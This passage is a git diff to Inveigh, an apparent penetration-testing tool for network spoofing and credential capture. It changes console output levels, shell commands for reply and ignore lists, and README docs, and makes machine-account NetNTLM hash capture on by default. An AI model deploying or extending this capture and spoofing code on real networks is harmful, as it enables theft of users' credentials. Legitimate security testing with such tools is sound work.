null, null, Program.argSMBPorts); if (Program.enabledFileOutput) Queue(string.Format("[+] File Output [{0}]", Program.argFileDirectory)); - else Queue("[-] File Output"); + else Queue("[ ] File Output"); if (Program.isSession) Queue("[+] Previous Session Files [Imported]"); else Queue("[+] Previous Session Files (Not Found)"); if (Program.runCount == 1) Program.outputList.Add(string.Format("[+] Run Count [{0} Minute]", Program.runCount)); @@ -349,7 +363,7 @@ namespace Inveigh public static void GetStartupMessageIP(string ipType, string address1, string address2) { string startupMessage = ""; - string optionStatus = "-"; + string optionStatus = " "; if (Program.enabledIPv4 && !string.IsNullOrEmpty(address1) && Program.enabledIPv6 && !string.IsNullOrEmpty(address2)) { @@ -378,7 +392,7 @@ namespace Inveigh { string startupMessage; string optionType = "Listener"; - string optionStatus = "-"; + string optionStatus = " "; string types; string typesHeader = "Type"; string questions; @@ -445,7 +459,7 @@ namespace Inveigh { string startupMessage = ""; string optionType = "Listener"; - string optionStatus = "-"; + string optionStatus = " "; string portHeading = "Port"; if (Program.enabledSniffer && protocol.StartsWith("SMB")) @@ -519,7 +533,7 @@ namespace Inveigh challengeResponse = user + "::" + domain + ":" + lmResponse + ":" + ntlmResponse + ":" + challenge; } - if (Program.enabledMachineAccounts || (!Program.enabledMachineAccounts && !user.EndsWith("$"))) + if (Program.enabledMachineAccountCapture || (!Program.enabledMachineAccountCapture && !user.EndsWith("$"))) { if (!string.IsNullOrEmpty(challenge)) @@ -686,25 +700,33 @@ namespace Inveigh } - public static void SpooferOutput(string protocol, string type, string request, string clientIP, string outputMessage) + public static void SpooferOutput(string protocol, string type, string request, string clientIP, string message) { string status = "-"; - if (outputMessage.Equals("response sent")) + if (message.Equals("response sent")) { status = "+"; } + else if (message.Equals("disabled")) + { + status = " "; + } - Queue(string.Format("[{0}] [{1}] {2}({3}) request [{4}] from {5} [{6}]", status, Timestamp(), protocol, type, request, clientIP, outputMessage)); + Queue(string.Format("[{0}] [{1}] {2}({3}) request [{4}] from {5} [{6}]", status, Timestamp(), protocol, type, request, clientIP, message)); } public static void DHCPv6Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostname, string message) { - string responseStatus = "-"; + string status = "-"; - if (string.Equals(message, "response sent")) + if (message.Equals("response sent")) { - responseStatus = "+"; + status = "+"; + } + else if (message.Equals("disabled")) + { + status = " "; } string responseType = ""; @@ -739,20 +761,20 @@ namespace Inveigh if (!string.IsNullOrEmpty(clientHostname)) { - Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3}({4}) [{5}]", responseStatus, Output.Timestamp(), responseType, clientIP, clientHostname, message)); + Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3}({4}) [{5}]", status, Output.Timestamp(), responseType, clientIP, clientHostname, message)); } else { - Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3} [{4}]", responseStatus, Output.Timestamp(), responseType, clientIP, message)); + Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3} [{4}]", status, Output.Timestamp(), responseType, clientIP, message)); } if (string.Equals(message, "response sent")) { - Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] {3} to [{4}]", responseStatus, Output.Timestamp(), leaseIP, responseAction, clientMAC)); + Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] {3} to [{4}]", status, Output.Timestamp(), leaseIP, responseAction, clientMAC)); } else { - Output.Queue(string.Format("[{0}] [{1}] DHCPv6 client MAC [{2}]", responseStatus, Output.Timestamp(), clientMAC)); + Output.Queue(string.Format("[{0}] [{1}] DHCPv6 client MAC [{2}]", status, Output.Timestamp(), clientMAC)); } } @@ -827,7 +849,7 @@ namespace Inveigh if (nullarg || string.Equals(arg, "CONSOLE")) { string argument = "Console"; - string description = "Default=3: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no informational, 3=all)"; + string description = "Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all)"; OutputHelp(argument, description); } @@ -964,6 +986,13 @@ namespace Inveigh OutputHelp(argument, description); } + if (nullarg || string.Equals(arg, "ICMPV6TTL")) + { + string argument = "ICMPv6TTL"; + string description = "Default=300: ICMPv6 TTL in seconds."; + OutputHelp(argument, description); + } + if (nullarg || string.Equals(arg, "IGNOREDOMAINS")) { string argument = "IgnoreDomains"; @@ -1237,10 +1266,10 @@ namespace Inveigh OutputHelp(argument, description); } - if (nullarg || string.Equals(arg, "MACHINES")) + if (nullarg || string.Equals(arg, "MACHINEACCOUNT")) { - string argument = "Machines"; - string description = "Default=Disabled: (Y/N) machine account NetNTLM captures."; + string argument = "MachineAccount"; + string description = "Default=Enabled: (Y/N) machine account NetNTLM captures."; OutputHelp(argument, description); } @@ -1329,7 +1358,17 @@ namespace Inveigh while (Program.outputList.Count > 0) { - if (Program.console == 3) + if (Program.console == 5) + { + Program.consoleList.Add(Program.outputList[0]); + } + + if (Program.console == 4 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || Program.outputList[0].StartsWith("[-]") || Program.outputList[0].StartsWith("[.]") || !Program.outputList[0].StartsWith("["))) + { + Program.consoleList.Add(Program.outputList[0]); + } + + if (Program.console == 3 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || Program.outputList[0].StartsWith("[.]") || !Program.outputList[0].StartsWith("["))) { Program.consoleList.Add(Program.outputList[0]); } diff --git a/Inveigh/Support/Shell.cs b/Inveigh/Support/Shell.cs index d42a2cc..bfe5037 100644 --- a/Inveigh/Support/Shell.cs +++ b/Inveigh/Support/Shell.cs @@ -34,6 +34,15 @@ namespace Inveigh "get ntlmv2usernames", "get cleartext", "get cleartextunique", + "get replytohosts", + "get replytoips", + "get replytodomains", + "get replytomacs", + "get ignorehosts", + "get ignoreips", + "get ignoredomains", + "get ignoremacs", + "set console", "history", "resume", "stop" @@ -53,7 +62,7 @@ namespace Inveigh if (input.Key == ConsoleKey.Enter) { - if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(item => item.StartsWith(builder.ToString(), true, CultureInfo.InvariantCulture))) + if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(builder.ToString().Contains)) { Program.commandHistoryList.Add(builder.ToString()); } @@ -139,7 +148,7 @@ namespace Inveigh if (input.Key == ConsoleKey.Enter) { - if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(item => item.StartsWith(builder.ToString(), true, CultureInfo.InvariantCulture))) + if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(builder.ToString().Contains)) { Program.commandHistoryList.Remove(builder.ToString()); Program.commandHistoryList.Add(builder.ToString()); @@ -364,12 +373,12 @@ namespace Inveigh public static void Commands(string inputCommand) { string[] inputArray = inputCommand.Split(' '); - string search = ""; + string value = ""; if (!Utilities.ArrayIsNullOrEmpty(inputArray) && inputArray.Length == 3) { inputCommand = string.Concat(inputArray[0], " ", inputArray[1]); - search = inputArray[2]; + value = inputArray[2]; } inputCommand = inputCommand.ToUpper(); @@ -388,70 +397,89 @@ namespace Inveigh break; case "GET LOG": - - foreach (string entry in Program.logList) - { - Output.ConsoleOutputFormat(entry); - } - + GetLog(value); break; case "GET CLEARTEXT": - GetCleartext(search); + GetCleartext(value); break; case "GET CLEARTEXTUNIQUE": - GetCleartextUnique(search); + GetCleartextUnique(value); break; case "GET DHCPV6LEASES": - GetDHCPv6Leases(search); + GetDHCPv6Leases(value); break; case "GET NTLMV1": - GetNTLMv1(search); + GetNTLMv1(value); break; case "GET NTLMV1UNIQUE": - GetNTLMv1Unique(search); + GetNTLMv1Unique(value); break; case "GET NTLMV1USERNAMES": - GetNTLMv1Usernames(search); + GetNTLMv1Usernames(value); break; case "GET NTLMV2": - GetNTLMv2(search); + GetNTLMv2(value); break; case "GET NTLMV2UNIQUE": - GetNTLMv2Unique(search); + GetNTLMv2Unique(value); break; case "GET NTLMV2USERNAMES": - GetNTLMv2Usernames(search); + GetNTLMv2Usernames(value); break; - case "GET SPOOFERReplyToHosts": + case "GET REPLYTOHOSTS": foreach (string entry in Program.argReplyToHosts) Console.WriteLine(entry); break; - case "GET SPOOFERHOSTSDENY": + case "GET IGNOREHOSTS": foreach (string entry in Program.argIgnoreHosts) Console.WriteLine(entry); break; - case "GET SPOOFERReplyToIPs": - foreach (string entry in Program.argReplyToHosts) + case "GET REPLYTOIPS": + foreach (string entry in Program.argReplyToIPs) Console.WriteLine(entry); break; - case "GET SPOOFERIPSDENY": + case "GET IGNOREIPS": foreach (string entry in Program.argIgnoreHosts) Console.WriteLine(entry); break; + case "GET REPLYTODOMAINS": + foreach (string entry in Program.argReplyToDomains) + Console.WriteLine(entry); + break; + + case "GET IGNOREDOMAINS": + foreach (string entry in Program.argIgnoreDomains) + Console.WriteLine(entry); + break; + + case "GET REPLYTOMACS": + foreach (string entry in Program.argReplyToMACs) + Console.WriteLine(entry); + break; + + case "GET IGNOREMACS": + foreach (string entry in Program.argIgnoreMACs) + Console.WriteLine(entry); + break; + + case "SET CONSOLE": + SetConsole(value); + break; + case "?": case "HELP": GetHelp(); @@ -516,7 +544,16 @@ namespace Inveigh commands.Add("GET NTLMV2USERNAMES,get usernames and source IPs/hostnames for captured NTLMv2 hashes"); commands.Add("GET CLEARTEXT,get captured cleartext credentials"); commands.Add("GET CLEARTEXTUNIQUE,get unique captured cleartext credentials"); - commands.Add("HISTORY,get console command history"); + commands.Add("GET REPLYTODOMAINS,get ReplyToDomains parameter startup values"); + commands.Add("GET REPLYTOHOSTS,get ReplyToHosts parameter startup values"); + commands.Add("GET REPLYTOIPS,get ReplyToIPs parameter startup values"); + commands.Add("GET REPLYTOMACS,get ReplyToMACs parameter startup values"); + commands.Add("GET IGNOREDOMAINS,get IgnoreDomains parameter startup values"); + commands.Add("GET IGNOREHOSTS,get IgnoreHosts parameter startup values"); + commands.Add("GET IGNOREIPS,get IgnoreIPs parameter startup values"); + commands.Add("GET IGNOREMACS,get IgnoreMACs parameter startup values"); + commands.Add("SET CONSOLE,set Console parameter value"); + commands.Add("HISTORY,get command history"); commands.Add("RESUME,resume real time console output"); commands.Add("STOP,stop Inveigh"); Output.OutputCommand(description, headings, commands, Program.colorPositive); @@ -620,6 +657,22 @@ namespace Inveigh Output.OutputCommand(description, headers, list, Program.colorPositive); } + public static void GetLog(string search) + { + IList<string> list = Program.logList; + + if (!string.IsNullOrEmpty(search)) + { + list = GetResults(search, list); + } + + foreach (string entry in list) + { + Output.ConsoleOutputFormat(entry); + } + + } + public static void GetNTLMv1(string search) { string description = "NTLMv1 Hashes"; @@ -711,39 +764,41 @@ namespace Inveigh Output.OutputCommand(description, headers, list, Program.colorPositive); } - public static void GetSpooferReplyLists() + public static void SetConsole(string value) { - if (Program.ntlmv2UsernameList.Count > 0) + if (!string.IsNullOrEmpty(value)) { - Console.WriteLine(string.Format("[+] [{0}] Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp())); - string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray(); - foreach (string entry in outputNTLMV2Usernames) - Console.WriteLine(entry); - } - else - { - Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp())); - } - } + try + { + Int32.Parse(value); + int console = Int32.Parse(value); - public static void GetSpooferIgnoreLists() - { + if (console <= 5) + { + Program.console = console; + Output.OutputCommand("Console value set to " + value); + } + else + { + Output.OutputCommand("Value must be between 0 and 5"); + } + + } + catch + { + Output.OutputCommand("Value must be an integer"); + } - if (Program.ntlmv2UsernameList.Count > 0) - { - Console.WriteLine(string.Format("Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp())); - string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray(); - foreach (string entry in outputNTLMV2Usernames) - Console.WriteLine(entry); } else { - Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp())); + Output.OutputCommand("No value specified"); } } } + } @@ -69,7 +69,7 @@ Default parameter values are located at the beginning of Program.cs. I recommend public static string argCert = "MIIKaQIBAzCCC..." public static string argCertPassword = "password"; public static string argChallenge = ""; - public static string argConsole = "3"; + public static string argConsole = "5"; public static string argConsoleLimit = "-1"; public static string argConsoleStatus = "0"; public static string argConsoleUnique = "Y"; @@ -100,7 +100,7 @@ Control: Output: - -Console Default=3: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no informational, 3=all) + -Console Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all) -ConsoleLimit Default=Unlimited: Limit to queued console entries. @@ -140,6 +140,8 @@ Spoofers: -ICMPv6 Default=Enabled: (Y/N) sending ICMPv6 router advertisements. -ICMPv6Interval Default=200: ICMPv6 RA interval in seconds. + + -ICMPv6TTL Default=300: ICMPv6 TTL in seconds. -IgnoreDomains Default=None: Comma separated list of domains to ignore when spoofing. @@ -220,7 +222,7 @@ Capture: -ListenerIPv6 Default=Any: IPv6 address for all listeners. - -Machines Default=Disabled: (Y/N) machine account NetNTLM captures. + -MachineAccount Default=Enabled: (Y/N) machine account NetNTLM captures. -Proxy Default=Disabled: (Y/N) proxy listener authentication captures. @@ -489,7 +491,16 @@ GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for cap GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes GET CLEARTEXT | get captured cleartext credentials GET CLEARTEXTUNIQUE | get unique captured cleartext credentials -HISTORY | get console command history +GET REPLYTODOMAINS | get ReplyToDomains parameter startup values +GET REPLYTOHOSTS | get ReplyToHosts parameter startup values +GET REPLYTOIPS | get ReplyToIPs parameter startup values +GET REPLYTOMACS | get ReplyToMACs parameter startup values +GET IGNOREDOMAINS | get IgnoreDomains parameter startup values +GET IGNOREHOSTS | get IgnoreHosts parameter startup values +GET IGNOREIPS | get IgnoreIPs parameter startup values +GET IGNOREMACS | get IgnoreMACs parameter startup values +SET CONSOLE | set Console parameter value +HISTORY | get command history RESUME | resume real time console output STOP | stop Inveigh ``` |